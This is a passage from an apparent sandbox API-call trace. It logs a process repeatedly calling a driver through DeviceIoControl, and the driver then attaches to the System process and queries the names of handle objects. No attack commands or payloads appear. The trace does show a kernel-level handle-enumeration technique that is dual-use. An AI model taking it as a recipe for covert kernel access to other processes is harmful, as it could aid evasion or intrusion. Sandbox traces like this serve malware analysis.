lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.664] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.664] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.664] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.664] PsAcquireProcessExitSynchronization () returned 0x0 [0119.664] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.664] ObReferenceObjectByHandle (in: Handle=0xffffffff8000088c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002009cc0, HandleInformation=0x0) returned 0x0 [0119.664] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.664] PsReleaseProcessExitSynchronization () returned 0x2 [0119.664] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.664] ObQueryNameString (in: Object=0xfffffa8002009cc0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.664] ObfDereferenceObject (Object=0xfffffa8002009cc0) returned 0x2 [0119.664] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.664] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.664] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.664] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.664] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.664] PsAcquireProcessExitSynchronization () returned 0x0 [0119.664] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.664] ObReferenceObjectByHandle (in: Handle=0xffffffff80000894, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002132480, HandleInformation=0x0) returned 0x0 [0119.664] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.664] PsReleaseProcessExitSynchronization () returned 0x2 [0119.664] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.664] ObQueryNameString (in: Object=0xfffffa8002132480, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.664] ObfDereferenceObject (Object=0xfffffa8002132480) returned 0x2 [0119.664] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.665] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.665] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.665] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.665] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.665] PsAcquireProcessExitSynchronization () returned 0x0 [0119.665] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.665] ObReferenceObjectByHandle (in: Handle=0xffffffff8000089c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800f5f7050, HandleInformation=0x0) returned 0x0 [0119.665] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.665] PsReleaseProcessExitSynchronization () returned 0x2 [0119.665] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.665] ObQueryNameString (in: Object=0xfffffa800f5f7050, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.665] ObfDereferenceObject (Object=0xfffffa800f5f7050) returned 0x2 [0119.665] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.665] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.665] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.665] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.665] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.665] PsAcquireProcessExitSynchronization () returned 0x0 [0119.665] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.665] ObReferenceObjectByHandle (in: Handle=0xffffffff800008a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80023577b0, HandleInformation=0x0) returned 0x0 [0119.665] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.665] PsReleaseProcessExitSynchronization () returned 0x2 [0119.665] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.665] ObQueryNameString (in: Object=0xfffffa80023577b0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.665] ObfDereferenceObject (Object=0xfffffa80023577b0) returned 0x2 [0119.665] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.665] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.665] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.665] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.665] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.665] PsAcquireProcessExitSynchronization () returned 0x0 [0119.665] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.665] ObReferenceObjectByHandle (in: Handle=0xffffffff800008a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800231b5f0, HandleInformation=0x0) returned 0x0 [0119.665] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.665] PsReleaseProcessExitSynchronization () returned 0x2 [0119.666] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.666] ObQueryNameString (in: Object=0xfffffa800231b5f0, ObjectNameInfo=0xfffffa80019fc044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fc044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.666] ObfDereferenceObject (Object=0xfffffa800231b5f0) returned 0x2 [0119.666] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.666] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.666] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.666] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.666] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.666] PsAcquireProcessExitSynchronization () returned 0x0 [0119.666] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.666] ObReferenceObjectByHandle (in: Handle=0xffffffff800008ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002503050, HandleInformation=0x0) returned 0x0 [0119.666] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.666] PsReleaseProcessExitSynchronization () returned 0x2 [0119.666] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.666] ObQueryNameString (in: Object=0xfffffa8002503050, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.666] ObfDereferenceObject (Object=0xfffffa8002503050) returned 0x2 [0119.666] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.666] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.666] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.666] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.666] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.666] PsAcquireProcessExitSynchronization () returned 0x0 [0119.666] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.666] ObReferenceObjectByHandle (in: Handle=0xffffffff800008b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80021521f0, HandleInformation=0x0) returned 0x0 [0119.667] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.667] PsReleaseProcessExitSynchronization () returned 0x2 [0119.667] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.667] ObQueryNameString (in: Object=0xfffffa80021521f0, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.667] ObfDereferenceObject (Object=0xfffffa80021521f0) returned 0x2 [0119.667] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.667] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.667] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.667] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.667] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.667] PsAcquireProcessExitSynchronization () returned 0x0 [0119.667] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.667] ObReferenceObjectByHandle (in: Handle=0xffffffff800008b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800250e1c0, HandleInformation=0x0) returned 0x0 [0119.667] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.667] PsReleaseProcessExitSynchronization () returned 0x2 [0119.667] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.667] ObQueryNameString (in: Object=0xfffffa800250e1c0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.667] ObfDereferenceObject (Object=0xfffffa800250e1c0) returned 0x2 [0119.667] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.667] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.667] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.667] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.667] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.667] PsAcquireProcessExitSynchronization () returned 0x0 [0119.667] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.667] ObReferenceObjectByHandle (in: Handle=0xffffffff800008bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800390a7d0, HandleInformation=0x0) returned 0x0 [0119.667] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.667] PsReleaseProcessExitSynchronization () returned 0x2 [0119.667] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.667] ObQueryNameString (in: Object=0xfffffa800390a7d0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.667] ObfDereferenceObject (Object=0xfffffa800390a7d0) returned 0x2 [0119.667] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.667] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.667] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.667] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.668] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.668] PsAcquireProcessExitSynchronization () returned 0x0 [0119.668] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.668] ObReferenceObjectByHandle (in: Handle=0xffffffff800008c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002665050, HandleInformation=0x0) returned 0x0 [0119.668] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.668] PsReleaseProcessExitSynchronization () returned 0x2 [0119.668] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.668] ObQueryNameString (in: Object=0xfffffa8002665050, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.668] ObfDereferenceObject (Object=0xfffffa8002665050) returned 0x2 [0119.668] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.668] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.668] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.668] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.668] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.668] PsAcquireProcessExitSynchronization () returned 0x0 [0119.668] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.668] ObReferenceObjectByHandle (in: Handle=0xffffffff800008d0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002508680, HandleInformation=0x0) returned 0x0 [0119.668] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.668] PsReleaseProcessExitSynchronization () returned 0x2 [0119.668] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.668] ObQueryNameString (in: Object=0xfffffa8002508680, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.668] ObfDereferenceObject (Object=0xfffffa8002508680) returned 0x2 [0119.668] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.668] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.668] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.668] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.668] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.668] PsAcquireProcessExitSynchronization () returned 0x0 [0119.668] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.668] ObReferenceObjectByHandle (in: Handle=0xffffffff800008dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80022efa40, HandleInformation=0x0) returned 0x0 [0119.668] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.668] PsReleaseProcessExitSynchronization () returned 0x2 [0119.669] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.669] ObQueryNameString (in: Object=0xfffffa80022efa40, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.669] ObfDereferenceObject (Object=0xfffffa80022efa40) returned 0x2 [0119.669] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.669] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.669] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.669] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1fb05e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0119.669] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.669] PsAcquireProcessExitSynchronization () returned 0x0 [0119.669] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.669] ObReferenceObjectByHandle (in: Handle=0xffffffff800008e4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0119.669] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.669] PsReleaseProcessExitSynchronization () returned 0x2 [0119.669] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.669] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.669] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.669] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.669] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0119.669] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.669] PsAcquireProcessExitSynchronization () returned 0x0 [0119.669] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.669] ObReferenceObjectByHandle (in: Handle=0xffffffff800008e8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800e5ccde0, HandleInformation=0x0) returned 0x0 [0119.669] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.669] PsReleaseProcessExitSynchronization () returned 0x2 [0119.670] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.670] ObQueryNameString (in: Object=0xfffffa800e5ccde0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.670] ObfDereferenceObject (Object=0xfffffa800e5ccde0) returned 0x2 [0119.670] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.670] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.670] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.670] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.670] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.670] PsAcquireProcessExitSynchronization () returned 0x0 [0119.670] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.670] ObReferenceObjectByHandle (in: Handle=0xffffffff800008f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800254c900, HandleInformation=0x0) returned 0x0 [0119.670] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0119.670] PsReleaseProcessExitSynchronization () returned 0x2 [0119.670] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x186 [0119.670] ObQueryNameString (in: Object=0xfffffa800254c900, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435550) returned 0x0 [0119.670] ObfDereferenceObject (Object=0xfffffa800254c900) returned 0x2 [0119.670] IofCompleteRequest (Irp=0xfffffa80022b2920, PriorityBoost=0) [0119.670] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x1fb05e0 | out: hHeap=0x240000) returned 1 [0119.670] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x1fb05e0 [0119.670] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1fb05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1fb05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0119.670] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0119.670] PsAcquireProcessExitSynchronization () returned 0x0 [0119.670] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880044355d0) [0119.670] ObReferenceObjectByHandle (in: Handle=0xffffffff800008fc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b00, Object=0xfffff88004435548, HandleInformation=0x0 | out: 